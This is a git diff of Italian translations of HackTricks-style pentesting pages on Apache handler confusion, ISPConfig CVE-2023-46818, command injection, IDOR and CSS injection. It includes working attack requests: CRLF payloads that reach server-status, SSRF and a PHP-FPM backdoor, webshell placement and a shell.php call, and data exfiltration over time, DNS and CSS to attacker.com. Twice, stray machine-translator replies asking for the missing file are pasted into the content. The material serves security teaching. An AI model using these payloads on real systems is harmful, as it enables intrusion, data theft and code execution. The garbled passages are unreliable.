**Nginx** o **Jetty** potrebbero esporre informazioni sensibili dell'applicazione web (es., **web.xml**) tramite le loro web root di default collocate sotto **/usr/share**: +- **Apache HTTP Server** con **websocketd** può esporre lo script **dump-env.php** in **/usr/share/doc/websocketd/examples/php/**, che può leak variabili d'ambiente sensibili. +- I server con **Nginx** o **Jetty** potrebbero esporre informazioni sensibili delle web application (es., **web.xml**) tramite le loro root web predefinite posizionate sotto **/usr/share**: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** **Local Gadget to XSS** -- Su Ubuntu Desktop con **LibreOffice installato**, sfruttare la funzionalità di cambio lingua nei file di help può portare a **Cross-Site Scripting (XSS)**. Manipolando l'URL in **/usr/share/libreoffice/help/help.html** è possibile reindirizzare verso pagine malevole o verso versioni precedenti tramite una **unsafe RewriteRule**. +- Su Ubuntu Desktop con **LibreOffice installed**, sfruttando la funzionalità di cambio lingua dei file di help si può arrivare a **Cross-Site Scripting (XSS)**. Manipolando l'URL in **/usr/share/libreoffice/help/help.html** si può reindirizzare verso pagine malevole o versioni precedenti tramite **unsafe RewriteRule**. **Local Gadget to LFI** -- Se PHP o determinati pacchetti front-end come **JpGraph** o **jQuery-jFeed** sono installati, i loro file possono essere sfruttati per leggere file sensibili come **/etc/passwd**: +- Se PHP o certi pacchetti front-end come **JpGraph** o **jQuery-jFeed** sono installati, i loro file possono essere sfruttati per leggere file sensibili come **/etc/passwd**: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** **Local Gadget to SSRF** -- Utilizzando **MagpieRSS's magpie_debug.php** in **/usr/share/php/magpierss/scripts/magpie_debug.php**, può essere creata facilmente una vulnerabilità SSRF, fornendo una via per exploit ulteriori. +- Utilizzando **MagpieRSS's magpie_debug.php** in **/usr/share/php/magpierss/scripts/magpie_debug.php**, si può creare facilmente una vulnerabilità SSRF, fornendo una porta per ulteriori exploit. **Local Gadget to RCE** -- Le opportunità per **Remote Code Execution (RCE)** sono vaste, con installazioni vulnerabili come una vecchia versione di **PHPUnit** o **phpLiteAdmin**. Queste possono essere sfruttate per eseguire codice arbitrario, dimostrando l'ampio potenziale nella manipolazione dei local gadgets. +- Le opportunità per **Remote Code Execution (RCE)** sono vaste, con installazioni vulnerabili come un **PHPUnit** obsoleto o **phpLiteAdmin**. Queste possono essere sfruttate per eseguire codice arbitrario, dimostrando l'ampio potenziale della manipolazione dei local gadgets. #### **Jailbreak from Local Gadgets** -È inoltre possibile effettuare il jailbreak dalle cartelle consentite seguendo i symlink generati dal software installato in quelle cartelle, come: +È inoltre possibile effettuare un jailbreak dalle cartelle consentite seguendo i symlink creati dal software installato in quelle cartelle, ad esempio: - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` @@ -186,17 +186,17 @@ Pertanto, sarebbe possibile **abusare dei file situati all'interno di `/usr/shar - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -Inoltre, sfruttando i symlink è stato possibile ottenere **RCE in Redmine.** +Inoltre, abusando dei symlink è stato possibile ottenere **RCE in Redmine.** ### Handler Confusion -Questo attacco sfrutta la sovrapposizione di funzionalità tra le direttive `AddHandler` e `AddType`, entrambe possono essere utilizzate per **abilitare il processamento PHP**. Originariamente, queste direttive agivano su campi diversi (`r->handler` e `r->content_type` rispettivamente) nella struttura interna del server. Tuttavia, a causa di codice legacy, Apache tratta queste direttive in modo intercambiabile in certe condizioni, convertendo `r->content_type` in `r->handler` se il primo è impostato e il secondo no. +Questo attacco sfrutta la sovrapposizione di funzionalità tra le direttive `AddHandler` e `AddType`, che entrambe possono essere usate per **abilitare l'esecuzione di PHP**. Originariamente, queste direttive agivano su campi diversi (`r->handler` e `r->content_type` rispettivamente) nella struttura interna del server. Tuttavia, a causa di codice legacy, Apache tratta queste direttive in modo intercambiabile in certe condizioni, convertendo `r->content_type` in `r->handler` se il primo è impostato e il secondo no. -Inoltre, nell'Apache HTTP Server (`server/config.c#L420`), se `r->handler` è vuoto prima dell'esecuzione di `ap_run_handler()`, il server **usa `r->content_type` come handler**, rendendo di fatto `AddType` e `AddHandler` identici nel loro effetto. +Inoltre, nell'Apache HTTP Server (`server/config.c#L420`), se `r->handler` è vuoto prima di eseguire `ap_run_handler()`, il server **usa `r->content_type` come handler**, rendendo di fatto `AddType` e `AddHandler` identici nell'effetto. #### **Overwrite Handler to Disclose PHP Source Code** -In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), è stata presentata una vulnerabilità in cui un `Content-Length` errato inviato da un client può causare che Apache erroneamente **restituisca il codice sorgente PHP**. Ciò era dovuto a un problema di gestione degli errori con ModSecurity e l'Apache Portable Runtime (APR), dove una doppia risposta porta a sovrascrivere `r->content_type` a `text/html`.\ +In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) è stata presentata una vulnerabilità in cui un `Content-Length` errato inviato da un client può causare che Apache per errore **restituisca il codice sorgente PHP**. Ciò era dovuto a un problema di gestione degli errori con ModSecurity e l'Apache Portable Runtime (APR), dove una doppia risposta porta a sovrascrivere `r->content_type` con `text/html`.\ Poiché ModSecurity non gestisce correttamente i valori di ritorno, restituirebbe il codice PHP senza interpretarlo. #### **Overwrite Handler to XXXX** @@ -205,36 +205,36 @@ TODO: Orange non ha ancora divulgato questa vulnerabilità ### **Invoke Arbitrary Handlers** -Se un attacker è in grado di controllare l'intestazione **`Content-Type`** in una risposta del server sarà in grado di **invocare arbitrary module handlers**. Tuttavia, al punto in cui l'attacker controlla questo, la maggior parte del processo della request sarà già stata eseguita. È comunque possibile **riavviare il processo della request abusando dell'intestazione `Location`** perché se lo `Status` restituito è 200 e l'intestazione `Location` inizia con `/`, la risposta è trattata come una Server-Side Redirection e dovrebbe essere processata +Se un attacker è in grado di controllare l'**`Content-Type`** header in una risposta del server, sarà in grado di **invoke arbitrary module handlers**. Tuttavia, al punto in cui l'attacker controlla questo, gran parte del processo della richiesta sarà già stata eseguita. È comunque possibile **riavviare il processo di richiesta abusando dell'`Location` header** perché se lo `Status` restituito è 200 e l'header `Location` inizia con `/`, la risposta viene trattata come una Server-Side Redirection e dovrebbe essere processata. Secondo [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specifica su CGI) nella [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) viene definito il comportamento di Local Redirect Response: > The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified. -Pertanto, per eseguire questo attacco è necessario uno dei seguenti vulns: +Pertanto, per eseguire questo attacco è necessario una delle seguenti vulnerabilità: -- CRLF Injection nella response headers del CGI -- SSRF con controllo completo delle response headers +- CRLF Injection nei header di risposta CGI +- SSRF con controllo completo degli header di risposta #### **Arbitrary Handler to Information Disclosure** -Per esempio, `/server-status` dovrebbe essere accessibile solo localmente: +Per esempio `/server-status` dovrebbe essere accessibile solo localmente: ```xml SetHandler server-status Require local ``` -È possibile accedervi impostando il `Content-Type` su `server-status` e il Location header che inizi con `/`. +È possibile accedervi impostando il `Content-Type` su `server-status` e l'header Location che inizi con `/`. ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` -#### **Da Handler arbitrario a Full SSRF** +#### **Arbitrary Handler to Full SSRF** -Reindirizzando verso `mod_proxy` per accedere a qualsiasi protocollo su qualsiasi URL: +Reindirizzamento a `mod_proxy` per accedere a qualsiasi protocollo su qualsiasi URL: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -243,11 +243,11 @@ http://example.com/%3F %0d%0a %0d%0a ``` -Tuttavia, viene aggiunta l'intestazione `X-Forwarded-For`, che impedisce l'accesso agli endpoint dei metadata cloud. +Tuttavia, l'intestazione `X-Forwarded-For` viene aggiunta impedendo l'accesso agli endpoint dei metadata del cloud. -#### **Handler arbitrario per accedere al Unix Domain Socket locale** +#### **Handler arbitrario per accedere al socket di dominio Unix locale** -Accedi al Unix Domain Socket locale di PHP-FPM per eseguire una backdoor PHP situata in `/tmp/`: +Accedi al socket di dominio Unix locale di PHP-FPM per eseguire un PHP backdoor situato in `/tmp/`: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -256,7 +256,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0 ``` #### **Arbitrary Handler to RCE** -L'immagine ufficiale [PHP Docker](https://hub.docker.com/_/php) include PEAR (`Pearcmd.php`), uno strumento da riga di comando per la gestione di pacchetti PHP, che può essere abusato per ottenere RCE: +L'immagine ufficiale [PHP Docker](https://hub.docker.com/_/php) include PEAR (`Pearcmd.php`), uno strumento di gestione pacchetti PHP da riga di comando, che può essere abusato per ottenere RCE: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} diff --git a/src/network-services-pentesting/pentesting-web/ispconfig.md b/src/network-services-pentesting/pentesting-web/ispconfig.md index 5e9dc05ff..d8e658215 100644 --- a/src/network-services-pentesting/pentesting-web/ispconfig.md +++ b/src/network-services-pentesting/pentesting-web/ispconfig.md @@ -4,36 +4,36 @@ ## Panoramica -ISPConfig è un control panel di hosting open-source. Le vecchie build 3.2.x includevano una funzionalità di editor dei file di lingua che, se abilitata per il super amministratore, permetteva l'injection di codice PHP arbitrario tramite un record di traduzione malformato. Questo può portare a RCE nel contesto del web server e, a seconda di come PHP è eseguito, a privilege escalation. +ISPConfig è un pannello di controllo per hosting open-source. Le versioni più vecchie della serie 3.2.x includevano una funzione di editor dei file di lingua che, se abilitata per il super amministratore, permetteva l'iniezione arbitraria di codice PHP tramite un record di traduzione malformato. Questo può portare a RCE nel contesto del web server e, a seconda di come PHP viene eseguito, a escalation di privilegi. Percorsi predefiniti principali: -- Web root spesso in `/var/www/ispconfig` quando servito con `php -S` o via Apache/nginx. -- L'Admin UI è raggiungibile sul vhost HTTP(S) (a volte legato solo a localhost; usa SSH port-forward se necessario). +- La web root si trova spesso in `/var/www/ispconfig` quando viene servita con `php -S` o tramite Apache/nginx. +- L'Admin UI è raggiungibile sul vhost HTTP(S) (a volte vincolato solo a localhost; usa SSH port-forward se necessario). -Suggerimento: se il pannello è legato localmente (es. `127.0.0.1:8080`), effettua il port-forward: +Suggerimento: Se il pannello è vincolato localmente (es. `127.0.0.1:8080`), forwardalo: ```bash ssh -L 9001:127.0.0.1:8080 user@target # then browse http://127.0.0.1:9001 ``` -## Language editor PHP code injection (CVE-2023-46818) +## Editor delle lingue PHP code injection (CVE-2023-46818) -- Interessato: ISPConfig fino a 3.2.11 (corretto in 3.2.11p1) -- Precondizioni: -- Effettuare il login con l'account superadmin integrato `admin` (altri ruoli non sono interessati secondo il vendor) -- Il language editor deve essere abilitato: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini` -- Impatto: un admin autenticato può injectare PHP arbitrario che viene scritto in un file di lingua ed eseguito dall'applicazione, ottenendo RCE nel contesto web +- Colpiti: ISPConfig up to 3.2.11 (fixed in 3.2.11p1) +- Prerequisiti: +- Login as the built-in superadmin account `admin` (altri ruoli non sono interessati secondo il fornitore) +- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini` +- Impatto: un amministratore autenticato può injectare PHP arbitrario che viene scritto in un file di lingua ed eseguito dall'applicazione, ottenendo RCE nel contesto web -References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below. +Riferimenti: NVD entry CVE-2023-46818 and vendor advisory link in the References section below. -### Manual exploitation flow +### Flusso di sfruttamento manuale -1) Open/create a language file to obtain CSRF tokens +1) Aprire/creare un file di lingua per ottenere i token CSRF -Inviare una prima POST per inizializzare il form e parsare i campi CSRF dalla risposta HTML (`csrf_id`, `csrf_key`). Esempio di request path: `/admin/language_edit.php`. +Inviare un primo POST per inizializzare il form e parsare i campi CSRF dalla risposta HTML (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`. -2) Inject PHP via records[] and save +2) Injectare PHP via records[] e salvare -Inviare una seconda POST includendo i campi CSRF e un record di traduzione malevolo. Sonde minime per l'esecuzione di comandi: +Inviare un secondo POST includendo i campi CSRF e un record di traduzione malevolo. Minimal command-execution probes: ```http POST /admin/language_edit.php HTTP/1.1 Host: 127.0.0.1:9001 @@ -42,25 +42,27 @@ Cookie: ispconfig_auth=... lang=en&module=admin&file=messages&csrf_id=&csrf_key=&records[]= ``` -Out-of-band test (osservare ICMP): +Test fuori banda (osservare ICMP): ```http records[]= ``` -3) Scrivere file e caricare una webshell +3) Scrivere file e posizionare una webshell -Usare `file_put_contents` per creare un file sotto un percorso raggiungibile via web (es., `admin/`): +Usare `file_put_contents` per creare un file in un percorso raggiungibile via web (es., `admin/`): ```http records[]= ``` -Poi scrivi una semplice webshell usando base64 per evitare caratteri problematici nel corpo della POST: +Poi scrivi una semplice webshell usando base64 per evitare caratteri non validi nel body della POST: ```http records[]= ``` -Non vedo il contenuto da tradurre. Per favore incolla qui il testo del file src/network-services-pentesting/pentesting-web/ispconfig.md (o caricalo). Posso tradurlo in italiano mantenendo intatti codice, tag, link e percorsi come richiesto. +Non hai fornito il contenuto del file. Per favore incolla qui il contenuto di src/network-services-pentesting/pentesting-web/ispconfig.md che vuoi tradurre in italiano. + +Nota: manterrò intatti codice, tag, link, percorsi e termini tecnici come richiesto. ```bash curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' ``` -Se PHP viene eseguito come root (es. tramite `php -S 127.0.0.1:8080` avviato da root), ciò porta a root RCE immediato. Altrimenti ottieni l'esecuzione di codice come l'utente del web server. +Se PHP viene eseguito come root (es., tramite `php -S 127.0.0.1:8080` avviato da root), questo porta a una root RCE immediata. Altrimenti si ottiene esecuzione di codice come utente del server web. ### Python PoC @@ -73,12 +75,12 @@ python3 cve-2023-46818.py http://127.0.0.1:9001 admin ``` ### Rafforzamento -- Aggiornare alla versione 3.2.11p1 o successiva +- Aggiornare a 3.2.11p1 o successiva - Disabilitare l'editor delle lingue a meno che non sia strettamente necessario: ``` admin_allow_langedit=no ``` -- Evita di eseguire il pannello come root; configura PHP-FPM o il web server per ridurre i privilegi +- Evita di eseguire il pannello come root; configura PHP-FPM o il web server per limitare i privilegi - Applica un'autenticazione forte per l'account integrato `admin` ## Riferimenti diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 94dbd6f77..b18d03a0b 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -## Che cos'è command Injection? +## Cos'è command Injection? -Una **command injection** permette l'esecuzione di comandi arbitrari del sistema operativo da parte di un attaccante sul server che ospita un'applicazione. Di conseguenza, l'applicazione e tutti i suoi dati possono essere completamente compromessi. L'esecuzione di questi comandi di solito consente all'attaccante di ottenere accesso non autorizzato o controllo sull'ambiente dell'applicazione e sul sistema sottostante. +Una **command injection** consente l'esecuzione di comandi arbitrari del sistema operativo da parte di un attacker sul server che ospita un'applicazione. Di conseguenza, l'applicazione e tutti i suoi dati possono essere completamente compromessi. L'esecuzione di questi comandi tipicamente permette all'attacker di ottenere accesso non autorizzato o controllo sull'ambiente dell'applicazione e sul sistema sottostante. ### Contesto -A seconda di **dove il tuo input viene iniettato**, potrebbe essere necessario **chiudere il contesto tra virgolette** (usando `"` o `'`) prima dei comandi. +A seconda di **dove il tuo input viene iniettato** potresti dover **terminare il contesto tra virgolette** (usando `"` o `'`) prima dei comandi. ## Command Injection/Execution ```bash @@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Limitazioni** Bypasses +### **Limitazione** Bypasses -Se stai cercando di eseguire **comandi arbitrari su una macchina linux** potresti essere interessato a leggere questi **Bypasses:** +Se stai cercando di eseguire **arbitrary commands inside a linux machine** ti interesserà leggere questi **Bypasses:** {{#ref}} @@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parametri -Ecco i 25 parametri principali che potrebbero essere vulnerabili a code injection e ad altre RCE simili (da [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Ecco i 25 parametri principali che potrebbero essere vulnerabili a code injection e a vulnerabilità RCE simili (da [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -77,7 +77,7 @@ Ecco i 25 parametri principali che potrebbero essere vulnerabili a code injectio ``` ### Time based data exfiltration -Estrazione dei dati: carattere per carattere +Estrazione dei dati: char per char ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -89,9 +89,9 @@ real 0m0.002s user 0m0.000s sys 0m0.000s ``` -### DNS based data exfiltration +### Esfiltrazione di dati via DNS -Basato sul tool di `https://github.com/HoLyVieR/dnsbin`, ospitato anche su dnsbin.zhack.ca +Basato sullo strumento da `https://github.com/HoLyVieR/dnsbin` anche ospitato su dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -Quando esamini i back-end JavaScript/TypeScript incontrerai spesso l'API Node.js `child_process`. +Quando si analizzano i back-end JavaScript/TypeScript, ci si imbatte spesso nell'API Node.js `child_process`. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` avvia una **shell** (`/bin/sh -c`), quindi qualsiasi carattere che ha un significato speciale per la shell (back-ticks, `;`, `&&`, `|`, `$()`, …) porterà a **command injection** quando l'input utente viene concatenato nella stringa. +`exec()` avvia una **shell** (`/bin/sh -c`), quindi qualsiasi carattere che abbia un significato speciale per la shell (back-ticks, `;`, `&&`, `|`, `$()`, …) provocherà una **command injection** quando l'input utente viene concatenato nella stringa. -**Mitigazione:** usa `execFile()` (o `spawn()` senza l'opzione `shell`) e fornisci **ogni argomento come un elemento separato dell'array** in modo che non sia coinvolta alcuna shell: +**Mitigazione:** usa `execFile()` (o `spawn()` senza l'opzione `shell`) e fornisci **ogni argomento come elemento separato dell'array** in modo che nessuna shell sia coinvolta: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,9 +140,9 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Caso reale: *Synology Photos* ≤ 1.7.0-0794 era sfruttabile tramite un evento WebSocket non autenticato che inseriva dati controllati dall'attaccante in `id_user`, poi incorporati in una chiamata `exec()`, ottenendo RCE (Pwn2Own Ireland 2024). +Caso reale: *Synology Photos* ≤ 1.7.0-0794 era sfruttabile tramite un evento WebSocket non autenticato che inseriva dati controllati dall'attaccante in `id_user` che venivano poi incorporati in una chiamata `exec()`, ottenendo RCE (Pwn2Own Ireland 2024). -## Elenco di rilevamento Brute-Force +## Lista di rilevamento per Brute-Force {{#ref}} diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index d4b83c1f4..07b0c879e 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -2,23 +2,23 @@ {{#include ../banners/hacktricks-training.md}} -IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) appare quando un endpoint web o API divulga o accetta un identificatore controllabile dall'utente che viene usato **direttamente** per accedere a un oggetto interno **senza verificare che il chiamante sia autorizzato** ad accedere/modificare quell'oggetto. -Un'exploitation riuscita normalmente permette privilege-escalation orizzontale o verticale come leggere o modificare i dati di altri utenti e, nel peggiore dei casi, un completo account takeover o esfiltrazione massiva di dati. +IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) si verifica quando un endpoint web o API divulga o accetta un identificatore controllabile dall'utente che viene usato **direttamente** per accedere a un oggetto interno **senza verificare che il chiamante sia autorizzato** ad accedere/modificare quell'oggetto. +Un exploit riuscito normalmente permette escalation di privilegi orizzontale o verticale, come leggere o modificare i dati di altri utenti e, nel peggiore dei casi, takeover completo degli account o esfiltrazione di massa dei dati. --- -## 1. Identificazione di potenziali IDOR +## 1. Identificazione dei potenziali IDOR -1. Look for **parameters that reference an object**: -* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` +1. Cerca **parametri che fanno riferimento a un oggetto**: +* Percorso: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` * Query: `?id=42`, `?invoice=2024-00001` * Body / JSON: `{"user_id": 321, "order_id": 987}` -* Headers / Cookies: `X-Client-ID: 4711` +* Header / Cookie: `X-Client-ID: 4711` 2. Preferisci endpoint che **leggono o aggiornano** dati (`GET`, `PUT`, `PATCH`, `DELETE`). 3. Nota quando gli identificatori sono **sequenziali o prevedibili** – se il tuo ID è `64185742`, allora `64185741` probabilmente esiste. 4. Esplora flussi nascosti o alternativi (es. il link *"Paradox team members"* nelle pagine di login) che potrebbero esporre API aggiuntive. -5. Usa una **sessione autenticata a basso privilegio** e cambia solo l'ID **mantenendo lo stesso token/cookie**. L'assenza di un errore di autorizzazione è di solito un segno di IDOR. +5. Usa una **sessione autenticata con privilegi bassi** e cambia solo l'ID **mantenendo lo stesso token/cookie**. L'assenza di un errore di autorizzazione è solitamente un segnale di IDOR. -### Modifica manuale rapida (Burp Repeater) +### Tampering manuale rapido (Burp Repeater) ``` PUT /api/lead/cem-xhr HTTP/1.1 Host: www.example.com @@ -27,7 +27,7 @@ Content-Type: application/json {"lead_id":64185741} ``` -### Enumerazione automatizzata (Burp Intruder / curl loop) +### Enumerazione automatica (Burp Intruder / curl loop) ```bash for id in $(seq 64185742 64185700); do curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ @@ -36,62 +36,60 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ -d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id"; done ``` ---- +### Oracle di risposta d'errore per l'enumerazione di utenti/file -### Error-response oracle for user/file enumeration +Quando un endpoint di download accetta sia un username che un filename (es. `/view.php?username=&file=`), sottili differenze nei messaggi di errore spesso creano un oracle: -Quando un download endpoint accetta sia un username che un filename (es. `/view.php?username=&file=`), differenze sottili nei messaggi di errore spesso creano un oracle: +- Username inesistente → "User not found" +- Filename errato ma estensione valida → "File does not exist" (a volte elenca anche i file disponibili) +- Estensione non valida → errore di validazione -- username inesistente → "User not found" -- filename errato ma extension valida → "File does not exist" (a volte elenca anche i file disponibili) -- extension non valida → validation error - -Con qualsiasi authenticated session, puoi fuzz il parametro username tenendo un benign filename e filtrare sulla stringa "user not found" per scoprire utenti validi: +Con qualsiasi sessione autenticata, puoi fare fuzz sul parametro username mantenendo un filename benigno e filtrare sulla stringa "user not found" per scoprire utenti validi: ```bash ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \ -b 'PHPSESSID=' \ -w /opt/SecLists/Usernames/Names/names.txt \ -fr 'User not found' ``` -Una volta identificati nomi utente validi, richiedere file specifici direttamente (es. `/view.php?username=amanda&file=privacy.odt`). Questo schema porta spesso alla divulgazione non autorizzata dei documenti di altri utenti e alla fuga di credenziali. +Una volta identificati nomi utente validi, richiedere file specifici direttamente (es., `/view.php?username=amanda&file=privacy.odt`). Questo pattern porta comunemente alla divulgazione non autorizzata dei documenti di altri utenti e a credential leakage. --- -## 2. Caso di Studio Reale – Piattaforma Chatbot McHire (2025) +## 2. Caso di studio reale – McHire Chatbot Platform (2025) -Durante una valutazione del portale di reclutamento Paradox.ai-powered **McHire** è stato scoperto il seguente IDOR: +Durante la valutazione del portale di recruitment McHire, powered da Paradox.ai, è stato scoperto il seguente IDOR: * Endpoint: `PUT /api/lead/cem-xhr` -* Autorizzazione: cookie di sessione utente per **qualsiasi** account di test del ristorante -* Parametro del body: `{"lead_id": N}` – identificatore numerico a 8 cifre, **sequenziale** +* Authorization: user session cookie per **qualsiasi** account di test del ristorante +* Body parameter: `{"lead_id": N}` – identificatore numerico di 8 cifre, **sequenziale** -Diminuendo `lead_id` il tester ha ottenuto la **full PII** di candidati arbitrari (name, e-mail, phone, address, shift preferences) oltre a un consumer **JWT** che ha consentito il session hijacking. L'enumerazione dell'intervallo `1 – 64,185,742` ha esposto circa **64 million** record. +Diminuendo `lead_id` il tester ha recuperato i **full PII** di candidati arbitrari (nome, e-mail, telefono, indirizzo, preferenze di turno) oltre a un consumer **JWT** che ha permesso session hijacking. L'enumerazione dell'intervallo `1 – 64,185,742` ha esposto approssimativamente **64 milioni** di record. -Proof-of-Concept request: +Richiesta Proof-of-Concept: ```bash curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -d '{"lead_id":64185741}' ``` -Combinata con le **credenziali admin predefinite** (`123456:123456`) che garantivano l'accesso all'account di test, la vulnerabilità ha portato a una violazione critica dei dati a livello aziendale. +Combinata con **default admin credentials** (`123456:123456`) che concedevano accesso all'account di test, la vulnerabilità ha causato una violazione dei dati critica a livello aziendale. --- ## 3. Impatto di IDOR / BOLA -* Escalation orizzontale – leggere/aggiornare/cancellare i dati di **altri utenti**. -* Escalation verticale – utente con basso privilegio ottiene funzionalità riservate agli admin. -* Violazione massiva dei dati se gli identificatori sono sequenziali (es., ID dei candidati, fatture). -* Acquisizione di account rubando token o reimpostando le password di altri utenti. +* Escalation orizzontale – lettura/aggiornamento/cancellazione dei dati di **altri utenti**. +* Escalation verticale – un utente a basso privilegio ottiene funzionalità riservate agli admin. +* Violazione massiva dei dati se gli identificatori sono sequenziali (es. ID dei candidati, fatture). +* Dirottamento di account rubando token o reimpostando le password di altri utenti. --- ## 4. Mitigazioni & Best Practices -1. **Applica l'autorizzazione a livello di oggetto** su ogni richiesta (`user_id == session.user`). +1. **Applicare l'autorizzazione a livello di oggetto** ad ogni richiesta (`user_id == session.user`). 2. Preferire **identificatori indiretti e non indovinabili** (UUIDv4, ULID) invece di ID auto-incrementali. -3. Eseguire le autorizzazioni **lato server**, non fare mai affidamento su campi form nascosti o controlli UI. +3. Eseguire l'autorizzazione **server-side**, non fare mai affidamento su campi form nascosti o controlli UI. 4. Implementare controlli **RBAC / ABAC** in un middleware centrale. 5. Aggiungere **rate-limiting & logging** per rilevare l'enumerazione degli ID. -6. Testare la sicurezza di ogni nuovo endpoint (unitari, di integrazione e DAST). +6. Testare la sicurezza di ogni nuovo endpoint (unit, integration e DAST). --- -## 5. Tooling +## 5. Strumenti * **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder. * **OWASP ZAP**: Auth Matrix, Forced Browse. * **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting). @@ -101,6 +99,6 @@ Combinata con le **credenziali admin predefinite** (`123456:123456`) che garanti ## Riferimenti * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) * [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) -* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) -* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) +* [Come trovare più IDOR – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) +* [HTB Nocturnal: IDOR oracle → furto di file](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index 082cac78c..a0f58eedd 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -4,9 +4,9 @@ ## CSS Injection -### Selettore di attributo +### Attribute Selector -I selettori CSS sono creati per corrispondere ai valori degli attributi `name` e `value` di un elemento `input`. Se l'attributo `value` dell'elemento `input` inizia con un carattere specifico, viene caricata una risorsa esterna predefinita: +I selettori CSS sono costruiti per corrispondere ai valori degli attributi `name` e `value` di un elemento `input`. Se l'attributo `value` dell'elemento `input` inizia con un carattere specifico, viene caricata una risorsa esterna predefinita: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); @@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` -Tuttavia, questo approccio presenta una limitazione quando si tratta di elementi input nascosti (`type="hidden"`) perché gli elementi nascosti non caricano gli sfondi. +Tuttavia, questo approccio presenta una limitazione quando si lavora con elementi input nascosti (`type="hidden"`) perché gli elementi nascosti non caricano gli sfondi. #### Bypass per elementi nascosti -Per aggirare questa limitazione, puoi puntare a un elemento sibling successivo utilizzando il combinatore general sibling `~`. La regola CSS viene quindi applicata a tutti i sibling che seguono l'elemento input nascosto, causando il caricamento dell'immagine di sfondo: +Per aggirare questa limitazione, puoi mirare a un elemento fratello successivo usando il combinatore general sibling `~`. La regola CSS si applicherà quindi a tutti i fratelli successivi all'elemento input 